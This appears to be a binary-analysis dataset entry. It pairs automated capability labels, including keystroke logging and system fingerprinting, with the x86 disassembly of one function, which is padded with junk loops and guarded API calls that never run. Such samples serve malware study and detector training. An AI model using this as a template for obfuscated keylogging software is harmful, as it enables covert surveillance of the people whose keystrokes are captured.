Function at 0x1002b39f
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Create directory
Get common file path
Get disk information
Get graphical window text
Get keyboard layout
Get system information on windows
Log keystrokes
Log keystrokes via polling
Read .ini file
Suspend thread

Disassembly:
mov eax, 0x1007c021
call fcn.1007aeb0
mov eax, 0x14ec
call fcn.10077660
push ebx
push esi
mov dword [ebp - 0x14], 0xf5720e83
xor eax, eax
xor esi, esi
mov dword [ebp - 0x24], 3
push edi
mov dword [ebp - 0x14], eax
inc esi
push 0xffffffffffffffff
mov dword [ebp - 0x54], ecx
mov byte [ebp - 0x55], dl
pop ecx
cmp dword [ebp - 0x14], esi
jge 0x1002b3ee
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3e4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b3da
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b40e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3e4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b3f6
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_EnumChildWindows]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b42f
push eax
push eax
call ebx
push eax
call edi
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0xf5720e83
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b459
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x388], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b445
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b479
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x388], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b461
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b48b
push eax
push eax
call ebx
push eax
call edi
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xecc]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x29bf3901
push 3
call fcn.10015242
xor eax, eax
lea ecx, [ebp - 0x6f4]
mov dword [ebp - 4], eax
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xe41b66ba
push esi
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1002b4fd
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xecc]
mov dword [eax + ecx*4], 0xbe4438b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002b4e2
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002b515
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x6f4]
mov dword [eax + ecx*4], 0xe95aad85
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002b502
dec dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x6f4]
mov dword [eax], ecx
lea ecx, [ebp - 0x6f4]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0xecc]
mov dword [ebp - 4], eax
call fcn.10015b02
mov dword [ebp - 0x30], 8
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b576
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5b4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b55d
xor eax, eax
push 2
mov dword [ebp - 0x30], eax
pop ecx
jmp 0x1002b5e9
mov dword [ebp - 0x20], 0x2d8c
mov dword [ebp - 0x20], 0x9532bb11
mov dword [ebp - 0x20], eax
jmp 0x1002b5e1
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1002b5de
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jg 0x1002b5d9
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x5b4], 0
jne 0x1002b5d7
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002b5cf
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x1002b5ab
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1002b5a0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1002b591
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jle 0x1002b57e
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
je 0x1002b6e2
or edi, 0xffffffff
mov dword [ebp - 0x18], 0xae7b79f6
mov dword [ebp - 0x24], 0xbd77dfcc
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], 0x71808adc
mov dword [ebp - 0x50], 0xcae26e16
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x1002b6c9
cmp dword [ebp - 0x30], eax
je 0x1002b667
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5b4]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ebx, ebx
test edx, edx
setle bl
xor ecx, ecx
cmp ebx, eax
setle cl
imul ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1002b665
mov edx, esi
jmp 0x1002b669
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl cl
cmp ecx, edi
sbb edx, edx
xor ecx, ecx
neg edx
add edx, dword [ebp + eax*4 - 0x5b4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x5b4]
cmp eax, edx
sete cl
xor eax, eax
sub ecx, 0x5367
cmp ecx, dword [ebp - 0x3c]
jl 0x1002b6a8
mov edx, esi
cmp dword [ebp - 0x30], eax
jne 0x1002b6aa
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
push 2
sete cl
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x18]
pop ecx
push 0
pop eax
cmp dword [ebp - 0x18], ecx
jle 0x1002b629
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jne 0x1002b5fe
mov edi, dword [sym.imp.USER32.dll_EnumChildWindows]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
or ecx, 0xffffffff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], 0xe713
mov dword [ebp - 0x14], eax
jmp 0x1002b709
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b706
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
jl 0x1002b6f4
mov dword [ebp - 0x14], 0xf5720e83
mov dword [ebp - 0x24], 0xf70ad6f2
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b732
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b750
push 0x647
push 0x1ee6
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
xor eax, eax
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b776
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x38c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b762
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b796
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x38c], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b77e
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b7a8
push eax
push eax
call ebx
push eax
call edi
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xfc52
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002b7da
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x5cc], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002b7c5
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002b87e
mov eax, dword [ebp - 0x38]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x38], eax
je 0x1002b7f1
mov edx, esi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x18]
jne 0x1002b809
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x38], eax
je 0x1002b80b
mov edx, esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
sete cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, 0x5f372b99
cmp eax, 6
setl cl
xor eax, eax
cmp ecx, 0xfffffffd
jl 0x1002b87e
mov dword [ebp - 0x5cc], esi
cmp dword [ebp - 0x14], eax
je 0x1002b886
mov dword [ebp - 0x2c], 0x3de81d53
xor edx, edx
mov ecx, dword [ebp - 0x5cc]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, esi
setg al
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c8], eax
jmp 0x1002b976
mov dword [ebp - 0x5cc], eax
jmp 0x1002b888
xor eax, eax
mov dword [ebp - 0x4c], 0xe1cf2bba
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffed
jg 0x1002b976
or edi, 0xffffffff
mov dword [ebp - 0x30], 0x9b65cab4
lea ecx, [ebp - 0x904]
push 2
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002b8df
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x904]
mov dword [eax + ecx*4], 0xf9f11119
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002b8c4
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b8f9
push esi
push 0xaa1
push 0x1a87
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp edx, eax
mov esi, dword [ebp - 0x904]
setge cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [esi + 4]
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, dword [esi + 4]
setg cl
imul eax, ecx
test eax, eax
jne 0x1002b956
cmp dword [ebp - 0x14], eax
jne 0x1002b956
xor esi, esi
inc esi
jmp 0x1002b95b
xor esi, esi
inc esi
mov eax, esi
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x904]
call fcn.10015b02
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jle 0x1002b8a2
movdqa xmm0, xmmword [0x10007c80]
lea ecx, [ebp - 0xf70]
push ecx
lea eax, [ebp - 0xf60]
push eax
push ecx
lea ecx, [ebp - 0xb8c]
movdqu xmmword [ebp - 0xf70], xmm0
call fcn.10015284
mov esi, dword [ebp - 0xb8c]
xor eax, eax
push 7
pop ecx
mov dword [esi + 8], eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b9c4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
xor eax, eax
pop ecx
inc dword [esi + 8]
cmp dword [esi + 8], ecx
jne 0x1002b9ae
lea ecx, [ebp - 0xb8c]
call fcn.10015b02
or eax, 0xffffffff
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xd9c]
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x29bf3901
push 3
call fcn.10015242
xor esi, esi
lea ecx, [ebp - 0x70c]
inc esi
or eax, 0xffffffff
mov dword [ebp - 4], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xe41b66ba
push esi
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1002ba4c
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xd9c]
mov dword [eax + ecx*4], 0xbe4438b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002ba31
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002ba64
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x70c]
mov dword [eax + ecx*4], 0xe95aad85
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002ba51
dec dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x70c]
mov dword [eax], ecx
lea ecx, [ebp - 0x70c]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0xd9c]
mov dword [ebp - 4], eax
call fcn.10015b02
mov dword [ebp - 0x14], 0xf5720e83
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002bad0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5e4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002bab8
xor eax, eax
push 2
mov dword [ebp - 0x30], eax
pop ecx
jmp 0x1002bb43
mov dword [ebp - 0x20], 0x2d8c
mov dword [ebp - 0x20], 0x9532bb11
mov dword [ebp - 0x20], eax
jmp 0x1002bb3b
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1002bb38
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jg 0x1002bb33
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x5e4], 0
jne 0x1002bb31
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002bb29
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x1002bb05
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1002bafa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1002baeb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jle 0x1002bad8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
je 0x1002bc30
or edi, 0xffffffff
mov dword [ebp - 0x18], 0xae7b79f6
mov dword [ebp - 0x24], 0xbd77dfcc
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], 0x71808adc
mov dword [ebp - 0x50], 0xcae26e16
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x1002bc23
cmp dword [ebp - 0x30], eax
je 0x1002bbc1
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5e4]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ebx, ebx
test edx, edx
setle bl
xor ecx, ecx
cmp ebx, eax
setle cl
imul ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1002bbbf
mov edx, esi
jmp 0x1002bbc3
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl cl
cmp ecx, edi
sbb edx, edx
xor ecx, ecx
neg edx
add edx, dword [ebp + eax*4 - 0x5e4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x5e4]
cmp eax, edx
sete cl
xor eax, eax
sub ecx, 0x5367
cmp ecx, dword [ebp - 0x3c]
jl 0x1002bc02
mov edx, esi
cmp dword [ebp - 0x30], eax
jne 0x1002bc04
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
push 2
sete cl
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x18]
pop ecx
push 0
pop eax
cmp dword [ebp - 0x18], ecx
jle 0x1002bb83
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jne 0x1002bb58
or ecx, 0xffffffff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], 0xe713
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jge 0x1002bc64
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bc58
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
jl 0x1002bc46
or ecx, 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002bc80
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x390], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002bc6c
xor eax, eax
mov dword [ebp - 0x24], 0xf70ad6f2
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bc9c
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bcc0
push 0x647
push 0x1ee6
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002bd56
push 2
lea ecx, [ebp - 0xa60]
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x2c], 0x7e8b72fd
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002bd06
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa60]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002bceb
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bd24
push eax
push eax
push 0xecf
push 0x233c
call ebx
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov eax, dword [ebp - 0xa60]
lea ecx, [ebp - 0xa60]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
call fcn.10015b02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x390], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002bccc
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff9
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bd71
push 0x5f9
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bd86
push eax
push 0x13f3
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 3
lea ecx, [ebp - 0x5fc]
call fcn.10015242
mov dword [ebp - 0x20], 0x16df251d
xor eax, eax
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], 0xd2ae4566
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1002bdcd
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x5fc]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002bdb6
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002bde3
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x144], 0x82e58099
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002bdd2
dec dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setg dl
add eax, edx
cmp eax, dword [ebp - 0x20]
je 0x1002be0f
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002be11
mov eax, esi
mov edx, dword [ebp - 0x5fc]
add eax, 0xfffffffb
xor ecx, ecx
cmp dword [edx + 4], eax
setle cl
cmp ecx, 0xe467b47e
sbb eax, eax
neg eax
sub eax, 0x7540
neg eax
sbb eax, eax
inc eax
cmp dword [edx + 4], eax
jl 0x1002be45
xor eax, eax
cmp dword [ebp - 0x144], eax
je 0x1002be47
mov eax, esi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [edx + 4]
jle 0x1002be71
mov eax, dword [ebp - 0x5fc]
cmp dword [eax + 8], 0
je 0x1002be71
mov eax, esi
jmp 0x1002be73
xor eax, eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x5fc]
call fcn.10015b02
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x30], 0xe60
mov dword [ebp - 0x28], 0x31aa08
mov dword [ebp - 0x4c], 0x7ef2
mov dword [ebp - 0x38], 0xffff
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002becb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x664], 0xff63588c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002beb2
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002bf02
dec dword [ebp - 0x4c]
mov dword [ebp - 0x664], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x20], esi
jg 0x1002bf3f
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bf19
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002bf38
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002bf35
push 0x1cf4
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x1002bf1e
jmp 0x1002bfbe
mov dword [ebp - 0x30], eax
jmp 0x1002bf51
mov dword [ebp - 0x660], 0xe0cd1ad7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jne 0x1002bf44
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff4
jg 0x1002bfbe
jmp 0x1002bf64
xor eax, eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setle dl
inc edx
je 0x1002bf8a
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002bfb5
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x1002bfb5
mov dword [ebp - 0x4c], 0xfffffffd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002bfb5
push 0x133c
push eax
push 0xcca
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff4
jle 0x1002bf62
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002bfd8
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
cmp byte [ebp - 0xd], 0
je 0x1002c1a9
push 3
lea ecx, [ebp - 0x724]
call fcn.10015242
push 2
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0xba4]
mov dword [ebp - 0x14], 5
push eax
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x1002c027
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x5c], 0xffff
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1002c012
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1002c04b
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x724]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1002c030
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002c06f
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xba4]
mov dword [eax + ecx*4], 0x72920796
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002c054
xor eax, eax
mov edx, dword [ebp - 0x724]
or edi, 0xffffffff
mov dword [edx + 4], eax
jmp 0x1002c07f
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x4c], 0x2b90
cmp dword [ebp + eax*4 - 0x5c], 0
jne 0x1002c15f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002c152
mov dword [ebp - 0x2c], 0x1d018875
mov dword [ebp - 0x4c], 0x3b0a6d08
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5c], 0
je 0x1002c12c
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edi
setne cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
jne 0x1002c0df
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5c], 0
jne 0x1002c0df
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp esi, eax
mov eax, dword [edx + 4]
setl cl
cmp dword [ebp + eax*4 - 0x5c], ecx
je 0x1002c0fd
xor eax, eax
cmp dword [edx + 4], eax
jne 0x1002c0fd
mov esi, eax
jmp 0x1002c102
xor eax, eax
lea esi, [eax + 1]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5c]
cmp esi, eax
setge cl
cmp ecx, edi
mov ecx, 0xf703c576
sbb eax, eax
inc eax
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x18]
jne 0x1002c12c
xor eax, eax
lea esi, [eax + 1]
jmp 0x1002c130
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
push 1
mov eax, dword [ebp + eax*4 - 0x5c]
cmp eax, esi
pop esi
setl cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002c0a5
inc dword [edx + 4]
cmp dword [edx + 4], 0
jle 0x1002c07d
mov edi, dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x14], 0xfffffffb
jmp 0x1002c17e
